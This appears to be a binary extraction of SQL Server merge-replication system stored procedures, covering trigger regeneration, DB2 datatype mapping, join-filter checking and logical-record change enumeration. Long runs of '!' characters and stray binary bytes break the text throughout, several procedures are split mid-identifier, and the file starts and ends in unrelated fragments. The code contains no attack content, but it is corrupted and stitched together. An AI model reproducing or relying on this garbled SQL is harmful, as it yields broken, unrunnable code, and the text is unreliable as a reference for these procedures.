        set @cCols= sys.fn_cColvEntries_80(@pubid, @tablenick)
        set @metadatacols= 'mc.generation, {fn LINEAGE_90_TO_80(mc.lineage)}, {fn COLV_90_TO_80(mc.colv,' + cast(@cCols as nvarchar(6)) +')}'
    end
    else
        set @metadatacols= 'mc.generation, {fn LINEAGE_90_TO_80(mc.lineage)}, mc.colv'
        
    if @rowguid = '00000000-0000-0000-0000-000000000000'
        select @rowguid_clause = ' '
    else
    begin
        --set @rgstring = '''' + convert(nchar(36), @rowguid) + ''''
        --select @rowguid_clause = ' and mc.rowguid > ' + @rgstring + ' and t.rowguidcol > ' + @rgstring
        select @rowguid_clause = ' and mc.rowguid > @rowguid and t.rowguidcol > @rowguid '
    end 

    select @column_list = column_list, @column_list_blob = column_list_blob from dbo.sysmergepartitioninfoview where artid = @artid and pubid = @pubid    

    -- Use the column list with blob columns in the end if the blob_cols_at_the_end is 1
    if @blob_cols_at_the_end = 1
        select @column_list = @column_list_blob

    if @column_list is NULL
    begin
        exec @retcode = sys.sp_MSgetviewcolumnlist @pubid = @pubid, @source_objid = @objid, @column_list = @column_list OUTPUT, @prefix_tablename = 't.', @blob_cols_at_the_end=@blob_cols_at_the_end
        if @@ERROR<>0 OR @retcode <> 0
            return @retcode
    end

    /* execute (@selecttop + ' mc.tablenick, mc.rowguid, ' + @metadatacols + ', ' + @column_list + ' from ' + 
                            @temp_cont + ' mc, ' +
                            @quoted_owner_qualified_table_name + ' t 
                            where mc.tablenick = ' + @tnstring + 
                            @rowguid_clause + '
                            and mc.rowguid = t.rowguidcol
                            order by mc.rowguid') */
    select @cmd = @selecttop + ' mc.tablenick, mc.rowguid, ' + @metadatacols + ', ' + @column_list + ' from ' + 
                            quotename(@temp_cont) + ' mc, ' +
                            @quoted_owner_qualified_table_name + ' t 
                            where mc.tablenick = ' + @tnstring + 
                            @rowguid_clause + '
                            and mc.rowguid = t.rowguidcol
                            order by mc.tablenick, mc.rowguid'

    select @currentmaxschemaguidforarticle = sys.fn_GetArticleSchemaVersionGuid(@artid, @pubid)
    
        /* At the publisher, if the max schema guid for article has changed and is different from the agent's schema version for article raise error */
    if ((sys.fn_MSmerge_islocalpubid(@pubid) = 1) and (@maxschemaguidforarticle IS NOT NULL) and (@currentmaxschemaguidforarticle <> @maxschemaguidforarticle))
    begin
        RAISERROR (25007, 11, -1)
        return 5
    end 

    exec sys.sp_executesql @cmd, N'@rowguid uniqueidentifier = ''00000000-0000-0000-0000-000000000000''', @rowguid = @rowguid
    if @@error <> 0
    begin
        return (1)
    end                     

    return (0)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`m<	O1qt0l	 <8
-- Requires Certificate signature for catalog access
create procedure sys.sp_MSregenerate_mergetriggers @publication sysname, @publisher sysname = NULL, @publisher_db sysname = NULL
as
    declare @pubid uniqueidentifier, @retcode int, @objid int, @col_track int, @source_owner sysname, 
            @source_object sysname, @qualified_name nvarchar(270)

    if @publisher is NULL
        select @publisher = publishingservername()

    if @publisher_db is NULL
        select @publisher_db = db_name()

    select @pubid = pubid from dbo.sysmergepublications
    where name = @publication and UPPER(publisher) = UPPER(@publisher) and publisher_db = @publisher_db

    declare articles_in_pub CURSOR LOCAL FAST_FORWARD FOR select objid, column_tracking
    from dbo.sysmergearticles 
    where pubid = @pubid
    FOR READ ONLY

    open articles_in_pub
    fetch next from articles_in_pub into @objid, @col_track

    while (@@fetch_status <> -1)
    begin
        -- regenerate the triggers
        select @source_owner = SCHEMA_NAME(schema_id), @source_object = name from sys.objects where object_id = @objid
        select @qualified_name = QUOTENAME(@source_owner) + '.' + QUOTENAME(@source_object)
        exec @retcode = sys.sp_MSaddmergetriggers @qualified_name, NULL, @col_track
        if @@error <> 0 or @retcode <> 0
        begin
            return 1
        end 

        fetch next from articles_in_pub into @objid, @col_track
    end

    close articles_in_pub
    deallocate articles_in_pub

    return 0
0ӈ@ @	8
--
-- Name:
--		sp_MSrepl_DB2datatypes
--
-- Description:
--		Define DB2 data types
--
-- Returns:
--		0 if successful
--		1 if failed
--
-- Security:
--		Internal
--
-- Notes:
--		
--

CREATE PROCEDURE sys.sp_MSrepl_DB2datatypes
(
	@dbms		sysname = 'DB2',
	@version	sysname = NULL
)
AS
BEGIN
	exec sys.sp_adddatatype @dbms = @dbms, @version = @version, @createparams = 0, @type = N'BIGINT'
	exec sys.sp_adddatatype @dbms = @dbms, @version = @version, @createparams = 0, @type = N'BLOB'
	exec sys.sp_adddatatype	@dbms = @dbms, @version = @version, @createparams = 4, @type = N'CHAR'
	exec sys.sp_adddatatype @dbms = @dbms, @version = @version, @createparams = 0, @type = N'CHAR () FOR BIT DATA'
	exec sys.sp_adddatatype @dbms = @dbms, @version = @version, @createparams = 0, @type = N'CLOB'
	exec sys.sp_adddatatype @dbms = @dbms, @version = @version, @createparams = 0, @type = N'DATE'
	exec sys.sp_adddatatype @dbms = @dbms, @version = @version, @createparams = 0, @type = N'DBCLOB'
	exec sys.sp_adddatatype @dbms = @dbms, @version = @version, @createparams = 3, @type = N'DECIMAL'
	exec sys.sp_adddatatype @dbms = @dbms, @version = @version, @createparams = 0, @type = N'DOUBLE'
	exec sys.sp_adddatatype @dbms = @dbms, @version = @version, @createparams = 1, @type = N'FLOAT'
	exec sys.sp_adddatatype @dbms = @dbms, @version = @version, @createparams = 4, @type = N'GRAPHIC'
	exec sys.sp_adddatatype @dbms = @dbms, @version = @version, @createparams = 0, @type = N'INT'
	exec sys.sp_adddatatype @dbms = @dbms, @version = @version, @createparams = 3, @type = N'NUMERIC'
	exec sys.sp_adddatatype @dbms = @dbms, @version = @version, @createparams = 0, @type = N'REAL'
	exec sys.sp_adddatatype @dbms = @dbms, @version = @version, @createparams = 0, @type = N'SMALLINT'
	exec sys.sp_adddatatype @dbms = @dbms, @version = @version, @createparams = 0, @type = N'TIME'
	exec sys.sp_adddatatype @dbms = @dbms, @version = @version, @createparams = 0, @type = N'TIMESTAMP'
	exec sys.sp_adddatatype @dbms = @dbms, @version = @version, @createparams = 4, @type = N'VARCHAR'
	exec sys.sp_adddatatype @dbms = @dbms, @version = @version, @createparams = 0, @type = N'VARCHAR () FOR BIT DATA'
	exec sys.sp_adddatatype @dbms = @dbms, @version = @version, @createparams = 4, @type = N'VARGRAPHIC'
	
END
0İ@ P8$h2>3J40@ 8CREATE view sys.dm_hadr_cluster_members
as
	SELECT 
	*
	FROM OpenRowset(TABLE DM_HADR_CLUSTER_MEMBERS)
0!@ 8
create procedure sys.sp_MSinitdynamicsubscriber
    (@maxrows int, 
     @tablenick int, 
     @rowguid uniqueidentifier, 
     @pubid uniqueidentifier = NULL,
     @compatlevel int = 10, -- backward compatibility level, default=Sphinx
     @enumentirerowmetadata bit= 1,
     @blob_cols_at_the_end bit = 0)
as
    declare @retcode        smallint
    declare @procname       nvarchar(290)

    -- Security Checking 
    -- PAL user access
    exec @retcode = sys.sp_MSrepl_PAL_rolecheck @pubid = @pubid, @tablenick = @tablenick
    if (@retcode <> 0) or (@@error <> 0)
        return 1

        
    if (@tablenick is null)
    begin
        RAISERROR(14043, 16, -1, '@tablenick', 'sp_MSinitdynamicsubscriber')
        return (1)
    end
    select @procname = view_sel_proc from dbo.sysmergearticles where
            pubid = @pubid and nickname = @tablenick

    exec @retcode= @procname 
                        @tablenick= @tablenick, 
                        @max_rows= @maxrows, 
                        @guidlast= @rowguid, 
                        @compatlevel= @compatlevel, 
                        @pubid= @pubid,
                        @enumentirerowmetadata= @enumentirerowmetadata,
                        @blob_cols_at_the_end = @blob_cols_at_the_end

    if @@ERROR<>0 or @retcode<>0 
    begin
        return (1)
    end 
    return (0)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!,`<iI)0 	8
create procedure sys.sp_check_join_filter @filtered_table nvarchar(400)
                                        , @join_table nvarchar(400)
                                        , @join_filterclause nvarchar(1000)
as

    set nocount on
    
    declare @join_objid int
    , @art_objid int
    , @owner_qualified_art_name nvarchar(570)
    , @owner_qualified_join_name nvarchar(570)
    , @art_name nvarchar(270)
    , @join_name nvarchar(270)
    , @viewname nvarchar(258)
    , @retcode int
    , @can_use_partition_groups bit
    , @has_dynamic_filters bit
    , @dynamic_filters_function_list nvarchar(500)
    , @uses_host_name bit
    , @uses_suser_sname bit
    , @dbname sysname
    
    
    /*
    ** Security Check
    */
    exec @retcode = sys.sp_MSreplcheck_publish
    if @@ERROR <> 0 or @retcode <> 0
        return(1)
    
    -- Initialize the flags to such a value that the occurrence of some condition will
    -- set the value to the opposite value.
    set @can_use_partition_groups = 1
    set @has_dynamic_filters = 0
    set @uses_host_name = 0
    set @uses_suser_sname = 0
    set @dynamic_filters_function_list = NULL
    
    select @art_objid = object_id(@filtered_table)
    if @art_objid is null
    begin
        select @dbname = db_name()
        raiserror(20507, 16, 1, @filtered_table, @dbname)
        return 1
    end
    
    select @join_objid = object_id(@join_table)
    if @join_objid is null
    begin
        select @dbname = db_name()
        raiserror(20507, 16, 1, @join_table, @dbname)
        return 1
    end
    
    select @owner_qualified_art_name = quotename(SCHEMA_NAME(schema_id)) + '.' + quotename(name)
        , @art_name = quotename(name)
    from sys.objects
    where object_id = @art_objid
        
    select @owner_qualified_join_name = quotename(SCHEMA_NAME(schema_id)) + '.' + quotename(name)
        , @join_name = quotename(name)
    from sys.objects
    where object_id = @join_objid
        
    select @viewname = quotename('MSmerge_join_filter_view_' + convert(nvarchar(40), newid()))
    select @viewname = REPLACE(@viewname, '-', '_')
        
    begin tran
    save tran check_join_filter
    
    exec ('create view dbo.' + @viewname + ' as select placeholder = 1 from ' + @owner_qualified_art_name + ' ' + @art_name + ', ' + 
                @owner_qualified_join_name + ' ' + @join_name + ' where ' + '(' + @join_filterclause + ')')
                    
    if @@error <> 0
        goto UNDO
            
    exec @retcode = sys.sp_MScheck_functions_directly_in_view    @viewname = @viewname
                                                        , @has_dynamic_filters = @has_dynamic_filters output
                                                        , @dynamic_filters_function_list = @dynamic_filters_function_list output
                                                        , @uses_host_name = @uses_host_name output
                                                        , @uses_suser_sname = @uses_suser_sname output
                                                        
    if @@error <> 0 or @retcode <> 0
        goto UNDO
        
    if @has_dynamic_filters = 1
    begin
        set @can_use_partition_groups = 0
    end
        
    exec @retcode = sys.sp_MScheck_functions_indirectly_in_view @viewname = @viewname
                                                                , @use_partition_groups = NULL
                                                                , @can_use_partition_groups = @can_use_partition_groups output
                                                                , @has_dynamic_filters = @has_dynamic_filters output
                                                                , @dynamic_filters_function_list = @dynamic_filters_function_list output
                                                                , @uses_host_name = @uses_host_name output
                                                                , @uses_suser_sname = @uses_suser_sname output
    if @@error <> 0 or @retcode <> 0
        goto UNDO
        
    if @has_dynamic_filters = 1
    begin
        set @can_use_partition_groups = 0
    end
        
    -- rollback tran so that the temp view gets dropped. 
    rollback tran check_join_filter
    commit tran
    
    select can_use_partition_groups = @can_use_partition_groups
    , has_dynamic_filters = @has_dynamic_filters
    , dynamic_filters_function_list = @dynamic_filters_function_list
    , uses_host_name = @uses_host_name
    , uses_suser_sname = @uses_suser_sname
        
    return 0
    
UNDO:

    if @@trancount > 0
    begin
        rollback tran check_join_filter
        commit tran
        return 1
    end
!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(K[vcreate procedure sys.sp_MSenum_logicalrecord_changes
    (@partition_id int,
     @genlist varchar(8000), 
     @parent_nickname int = 0, 
     @pubid uniqueidentifier = NULL,
     @oldmaxgen bigint =0, 
     @mingen bigint = 0, 
     @maxgen bigint = 0,
     @enumentirerowmetadata bit= 1,
     @maxschemaguidforarticle uniqueidentifier = NULL)  
as
        create table #logical_record_changes (tablenick int NOT NULL, 
                                                rowguid uniqueidentifier NOT NULL, 
                                                generation bigint NULL, 
                                                lineage varbinary(311) NULL, 
                                                colv1 varbinary(2953) NULL, 
                                                logical_record_parent_rowguid uniqueidentifier NULL,
                                                iscontents bit default 1,
                                                ts_type tinyint NULL)
                                                
        create table #cont (tablenick int NOT NULL, 
                                                rowguid uniqueidentifier NOT NULL, 
                                                generation bigint NULL, 
                                                lineage varbinary(311) NULL, 
                                                colv1 varbinary(2953) NULL, 
                                                logical_record_parent_rowguid uniqueidentifier NULL,
                                                unique (tablenick, rowguid))

    declare @oldmaxgenstr                       nvarchar(25),
                        @retcode                                smallint,
                        @procname                               nvarchar(270),
                        @generation_clause1             nvarchar(max),
                        @generation_clause2             nvarchar(max),
                        @generation_clause3             nvarchar(max),
                        @maxgen_clause                  nvarchar(100),
                        @oldmaxgen_clause               nvarchar(100),
                        @cpm_generation_clause  nvarchar(100),
                        @cpm_maxgen_clause                      nvarchar(100),
                        @cpm_oldmaxgen_clause           nvarchar(100),
                        @mingenstr                              nvarchar(25),
                        @maxgenstr                              nvarchar(25),
                        @parent_nickname_str    nvarchar(13),
                        @current_nickname               int,
                        @current_artid                  uniqueidentifier,
                        @current_processing_order int,
                        @current_parent_rowguid uniqueidentifier,
                        @current_logical_record_lineage varbinary(311),
                        @use_partition_groups   smallint,
                        @actual_enumentirerowmetadata   bit,
                        @parent_in_contents bit
                        
    select @generation_clause1 = ' '
    select @generation_clause2 = ' ' 
    select @generation_clause3 = ' '
    
        set @actual_enumentirerowmetadata = @enumentirerowmetadata
   
    -- only PAL user or dbo have access
    exec @retcode = sys.sp_MSrepl_PAL_rolecheck @pubid = @pubid, @partition_id = @partition_id
    if (@retcode <> 0) or (@@error <> 0)
        return 1
    
    if (@parent_nickname is null)
    begin
        RAISERROR(14043, 16, -1, '@parent_nickname', 'sp_MSenum_logicalrecord_changes')
        return (1)
    end

    if (@genlist is null)
    begin
        RAISERROR(14043, 16, -1, '@genlist', 'sp_MSenum_logicalrecord_changes')
        return (1)
    end
    
    select @mingenstr = convert(nvarchar, @mingen)
    select @maxgenstr = convert(nvarchar, @maxgen)

    if (@maxgen = 0)
    begin
        select @generation_clause1 = ' mc.generation in ('
        select @generation_clause2 = rtrim(ltrim(@genlist))
        select @generation_clause3 = ') '
        select @maxgen_clause = ' '
        select @cpm_generation_clause = ' '
        select @cpm_maxgen_clause = ' '
    end
    else if @mingen = @maxgen
    begin
        select @generation_clause1 = ' mc.generation = ' + @mingenstr + ' '
        select @maxgen_clause = ' and mc.generation > ' + @maxgenstr
        select @cpm_generation_clause = ' and cpm.generation = ' + @mingenstr  
        select @cpm_maxgen_clause = ' and cpm.generation > ' + @maxgenstr
    end
    else
    begin
        select @generation_clause1 = ' mc.generation >= ' + @mingenstr + ' and mc.generation <= ' + @maxgenstr 
                                        + ' and mc.generation in ('
                select @generation_clause2 = rtrim(ltrim(@genlist))
                select @generation_clause3 = ') '
        select @maxgen_clause = ' and mc.generation > ' + @maxgenstr
        select @cpm_generation_clause = ' and cpm.generation >= ' + @mingenstr + ' and cpm.generation <= ' + @maxgenstr 
        select @cpm_maxgen_clause = ' and cpm.generation > ' + @maxgenstr
    end
        
    if @oldmaxgen > 0
    begin
        select @oldmaxgen_clause = ' and mc.generation <= ' + convert(nvarchar, @oldmaxgen)
        select @cpm_oldmaxgen_clause = ' and cpm.generation <= ' + convert(nvarchar, @oldmaxgen)
    end
    else
        begin
                select @oldmaxgen_clause = ' '
                select @cpm_oldmaxgen_clause = ' '
        end
                
        select @parent_nickname_str = convert(nvarchar, @parent_nickname)
        
        select top 1 @use_partition_groups = isnull(use_partition_groups,0)
        from dbo.sysmergepublications
        where pubid = @pubid

    if (@genlist is not null and rtrim(ltrim(@genlist)) <> '')
    begin
        if (@use_partition_groups <= 0)
        begin
            execute ('insert into #logical_record_changes 
                        select tablenick, rowguid, generation, lineage, colv1, logical_record_parent_rowguid, 1, NULL
                        from (select distinct nickname from dbo.sysmergepartitioninfoview 
									where logical_record_parent_nickname = ' + @parent_nickname_str + ') as nick
						join dbo.MSmerge_contents mc 
							on mc.tablenick = nick.nickname
							and ' + @generation_clause1 + @generation_clause2 + @generation_clause3)
                                
            if @@error <> 0 return 1
            
            execute ('insert into #logical_record_changes 
                        select tablenick, rowguid, generation, lineage, NULL, logical_record_parent_rowguid, 0, type
                        from (select distinct nickname from dbo.sysmergepartitioninfoview 
									where logical_record_parent_nickname = ' + @parent_nickname_str + ') as nick
						join dbo.MSmerge_tombstone mc
							on mc.tablenick = nick.nickname
							and ' + @generation_clause1 + @generation_clause2 + @generation_clause3)
                                
            if @@error <> 0 return 1

            execute ('insert into #logical_record_changes 
                        select mc.tablenick, mc.rowguid, mc.generation, mc.lineage, mc.colv1, mc.logical_record_parent_rowguid, 1, NULL
                        from (select distinct logical_record_parent_rowguid from #logical_record_changes) as lrprg
                        join dbo.MSmerge_contents mc
							on mc.logical_record_parent_rowguid = lrprg.logical_record_parent_rowguid
							' + @oldmaxgen_clause + @maxgen_clause + '
                        join (select distinct nickname from dbo.sysmergepartitioninfoview 
									where logical_record_parent_nickname = ' + @parent_nickname_str + ') as nick
							on mc.tablenick = nick.nickname
						left outer join #logical_record_changes lrc
							on lrc.rowguid = mc.rowguid
							and lrc.tablenick = mc.!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(vtablenick
						where lrc.rowguid is null')

            if @@error <> 0 return 1
                            
            execute ('insert into #logical_record_changes 
                        select mc.tablenick, mc.rowguid, mc.generation, mc.lineage, NULL, mc.logical_record_parent_rowguid, 0, mc.type
                        from (select distinct logical_record_parent_rowguid from #logical_record_changes) as lrprg
                        join dbo.MSmerge_tombstone mc 
							on mc.logical_record_parent_rowguid = lrprg.logical_record_parent_rowguid
							' + @oldmaxgen_clause + @maxgen_clause + '
                        join (select distinct nickname from dbo.sysmergepartitioninfoview 
									where logical_record_parent_nickname = ' + @parent_nickname_str + ') as nick
							on mc.tablenick = nick.nickname
						left outer join #logical_record_changes lrc
							on lrc.rowguid = mc.rowguid
							and lrc.tablenick = mc.tablenick
						where lrc.rowguid is null')
                                
            if @@error <> 0 return 1
        end
        else
        begin
        
            declare @partition_id_str               nvarchar(13),
                            @publication_number_str nvarchar(6)
            select top 1 @publication_number_str = convert(nvarchar(6),publication_number) from dbo.sysmergepublications where pubid = @pubid
            
            select @partition_id_str = convert(nvarchar, @partition_id)
    
            execute('insert into #logical_record_changes  
                        select distinct mc.tablenick, mc.rowguid, mc.generation, mc.lineage, mc.colv1, mc.logical_record_parent_rowguid, 1, NULL
                        from (select distinct nickname from dbo.sysmergepartitioninfoview 
									where logical_record_parent_nickname = ' + @parent_nickname_str + ') as nick
						join dbo.MSmerge_contents mc 
							on mc.tablenick = nick.nickname
							and ' + @generation_clause1 + @generation_clause2 + @generation_clause3 + '
                        join dbo.MSmerge_current_partition_mappings cpm 
							on cpm.tablenick = mc.tablenick
							and cpm.rowguid = mc.rowguid
							and
							(
									(cpm.partition_id = ' + @partition_id_str + ' and cpm.publication_number = ' + @publication_number_str + ') or
									(cpm.partition_id = ' + @partition_id_str + ' and cpm.publication_number = 0) or
									(cpm.partition_id = -1 and cpm.publication_number = ' + @publication_number_str + ') or
									(cpm.partition_id = -1 and cpm.publication_number = 0)
							)')
                            
            if @@error <> 0 return 1
            
            execute('insert into #logical_record_changes  
                        select distinct mc.tablenick, mc.rowguid, mc.generation, mc.lineage, NULL, mc.logical_record_parent_rowguid, 0, mc.type
                        from (select distinct nickname from dbo.sysmergepartitioninfoview 
									where logical_record_parent_nickname = ' + @parent_nickname_str + ') as nick
						join dbo.MSmerge_tombstone mc
							on mc.tablenick = nick.nickname
		                    and ' + @generation_clause1 + @generation_clause2 + @generation_clause3 + '
						join dbo.MSmerge_past_partition_mappings cpm
				            on cpm.tablenick = mc.tablenick
					        and cpm.rowguid = mc.rowguid ' +
					        @cpm_generation_clause + '
						    and
							(
	                            (cpm.partition_id = ' + @partition_id_str + ' and cpm.publication_number = ' + @publication_number_str + ') or
								(cpm.partition_id = ' + @partition_id_str + ' and cpm.publication_number = 0) or
								(cpm.partition_id = -1 and cpm.publication_number = ' + @publication_number_str + ') or
								(cpm.partition_id = -1 and cpm.publication_number = 0)
							)')
                            
            if @@error <> 0 return 1
            
            execute('insert into #logical_record_changes  
                        select distinct mc.tablenick, mc.rowguid, mc.generation, mc.lineage, mc.colv1, mc.logical_record_parent_rowguid, 1, NULL
                        from (select distinct logical_record_parent_rowguid from #logical_record_changes) as lrprg
                        join dbo.MSmerge_contents mc
						   on mc.logical_record_parent_rowguid = lrprg.logical_record_parent_rowguid
                        join (select distinct nickname from dbo.sysmergepartitioninfoview 
									where logical_record_parent_nickname = ' + @parent_nickname_str + ') as nick
							on mc.tablenick = nick.nickname
							' + @oldmaxgen_clause + @maxgen_clause + '
                        join dbo.MSmerge_current_partition_mappings cpm
							on cpm.tablenick = mc.tablenick
							and cpm.rowguid = mc.rowguid
							and
							(
	                            (cpm.partition_id = ' + @partition_id_str + ' and cpm.publication_number = ' + @publication_number_str + ') or
								(cpm.partition_id = ' + @partition_id_str + ' and cpm.publication_number = 0) or
								(cpm.partition_id = -1 and cpm.publication_number = ' + @publication_number_str + ') or
								(cpm.partition_id = -1 and cpm.publication_number = 0)
							)
                        left outer join #logical_record_changes lrc
							on lrc.rowguid = mc.rowguid
							and lrc.tablenick = mc.tablenick
						where lrc.rowguid is null')
                                        
            if @@error <> 0 return 1
                            
            execute('insert into #logical_record_changes  
                        select distinct mc.tablenick, mc.rowguid, mc.generation, mc.lineage, NULL, mc.logical_record_parent_rowguid, 0, type
                        from (select distinct logical_record_parent_rowguid from #logical_record_changes) as lrprg
                        join dbo.MSmerge_tombstone mc
							on mc.logical_record_parent_rowguid = lrprg.logical_record_parent_rowguid
                        join (select distinct nickname from dbo.sysmergepartitioninfoview 
								where logical_record_parent_nickname = ' + @parent_nickname_str + ') as nick
							on mc.tablenick = nick.nickname
							' + @oldmaxgen_clause + @maxgen_clause + '
                        join dbo.MSmerge_past_partition_mappings cpm
							on cpm.tablenick = mc.tablenick
							and cpm.rowguid = mc.rowguid '
							+ @cpm_oldmaxgen_clause + @cpm_maxgen_clause + '
							and
							(
	                            (cpm.partition_id = ' + @partition_id_str + ' and cpm.publication_number = ' + @publication_number_str + ') or
								(cpm.partition_id = ' + @partition_id_str + ' and cpm.publication_number = 0) or
								(cpm.partition_id = -1 and cpm.publication_number = ' + @publication_number_str + ') or
								(cpm.partition_id = -1 and cpm.publication_number = 0)
							)
                        left outer join #logical_record_changes lrc
							on lrc.rowguid = mc.rowguid
							and lrc.tablenick = mc.tablenick
						where lrc.rowguid is null')
                            
            if @@error <> 0 return 1
        end
    end
        
    set @current_parent_rowguid = '00000000-0000-0000-0000-000000000000'
    
    exec ('create index #logical_record_changes_index on #logical_record_changes (logical_record_parent_rowguid)')
    
    while exists (select * from #logical_record_changes
                                    where logical_record_parent_rowguid is not null
                                    and logical_record_parent_rowguid > @current_parent_rowguid)
    begin
        select @parent_in_contents = 1
        
        -- Of all the parent rowguids inserted into #logical_record_changes, process in asc order.
        select top 1 @current_parent_rowguid = logical_record_parent_rowguid
        from #logical_record_changes
        where logical_record_parent_rowguid is not null
        and logical_record_parent_rowguid > @current_parent_rowguid
        order by logical_r!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<TQ ^ecord_parent_rowguid
        
        select @current_logical_record_lineage = NULL
        
        select @current_logical_record_lineage = logical_record_lineage
        from dbo.MSmerge_contents
        where rowguid = @current_parent_rowguid and tablenick = @parent_nickname
        
        if @current_logical_record_lineage is null
        begin
                select @current_logical_record_lineage = logical_record_lineage
                from dbo.MSmerge_tombstone
                where rowguid = @current_parent_rowguid and tablenick = @parent_nickname
                
                select @parent_in_contents = 0
        end
                
        select  logical_record_parent_nickname = @parent_nickname,
                        logical_record_parent_rowguid = @current_parent_rowguid,
                        logical_record_lineage = @current_logical_record_lineage,
                        logical_record_parent_in_contents = @parent_in_contents

        -- For this parent rowguid, find the child nicknames in processing order.
        select @current_nickname = 0, @current_artid = NULL, @current_processing_order = 0
        
        -- get the tombstone members in all cases - whether parent is in contents or tombstone.
        select lrc.tablenick, lrc.rowguid, lrc.generation, lrc.lineage, lrc.ts_type
        from #logical_record_changes lrc, dbo.sysmergearticles sma
        where logical_record_parent_rowguid = @current_parent_rowguid
        and sma.pubid = @pubid
        and lrc.tablenick = sma.nickname
        and lrc.iscontents = 0
        order by sma.processing_order desc, sma.nickname desc, lrc.rowguid asc
        
        -- get the contents members only if parent is in contents. if parent is in tombstone,
        -- then all members are guaranteed to be in tombstone.
        if @parent_in_contents = 1
        begin
            while exists (select lrc.tablenick from #logical_record_changes lrc, dbo.sysmergearticles sma
                                            where lrc.tablenick = sma.nickname
                                            and sma.pubid = @pubid
                                            and lrc.logical_record_parent_rowguid = @current_parent_rowguid
                                            and 
                                            (
                                                    (sma.processing_order = @current_processing_order and lrc.tablenick > @current_nickname) or
                                                    sma.processing_order > @current_processing_order
                                            )
                                    )
            begin
                truncate table #cont
                
                select top 1 @current_nickname = tablenick, @current_processing_order = processing_order,
                                        @current_artid = artid, @procname = 'dbo.' + select_proc
                from #logical_record_changes lrc, dbo.sysmergearticles sma
                where lrc.tablenick = sma.nickname
                and sma.pubid = @pubid
                and lrc.logical_record_parent_rowguid = @current_parent_rowguid
                and 
                (
                        (sma.processing_order = @current_processing_order and lrc.tablenick > @current_nickname) or
                        sma.processing_order > @current_processing_order
                )
                order by sma.processing_order, sma.nickname

                select @maxschemaguidforarticle = sys.fn_GetArticleSchemaVersionGuid(@current_artid, @pubid)
                insert into #cont (tablenick, rowguid, generation, lineage, colv1, logical_record_parent_rowguid) 
                select tablenick, rowguid, generation, lineage, colv1, logical_record_parent_rowguid 
                from #logical_record_changes
                where tablenick = @current_nickname
                and logical_record_parent_rowguid = @current_parent_rowguid
                
                -- if @enumentirerowmetadata is 1, then @actual_enumentirerowmetadata stays initialized to 1 from the
                -- beginning of the proc. Otherwise, we need to set @actual_enumentirerowmetadata for every article.
                if @enumentirerowmetadata = 0
                begin
                    select @actual_enumentirerowmetadata = sys.fn_MSarticle_allows_DML_at_this_replica(@current_artid, default)     
                end

                exec @retcode = @procname 
                                    @maxschemaguidforarticle = @maxschemaguidforarticle,
                                    @type= 10,
                                    @enumentirerowmetadata= @actual_enumentirerowmetadata
                
                IF @@ERROR<>0 or @retcode<>0
                begin
                    RETURN (1)
                end
            end
        end
    end

    drop table #logical_record_changes
    drop table #cont
    return (0)
a.a               @rowguid90,
                         @rowguid91,
                         @rowguid92,
                         @rowguid93,
                         @rowguid94,
                         @rowguid95,
                         @rowguid96,
                         @rowguid97,
                         @rowguid98,
                         @rowguid99,
                         @rowguid100
    
    if @@error <>0 or @retcode <> 0 
    begin
        raiserror(20680, 16, -1)
        return (1)
    end

    return 0

ztatus
           
         ) as schema_changes
         order by schema_type_group, processing_order, schemaversion 

          -- Remove Katmai specific schematypes                       
            	 -- SCHEMA_TYPE_USER_DEFINED_TABLE_TYPE          = 105
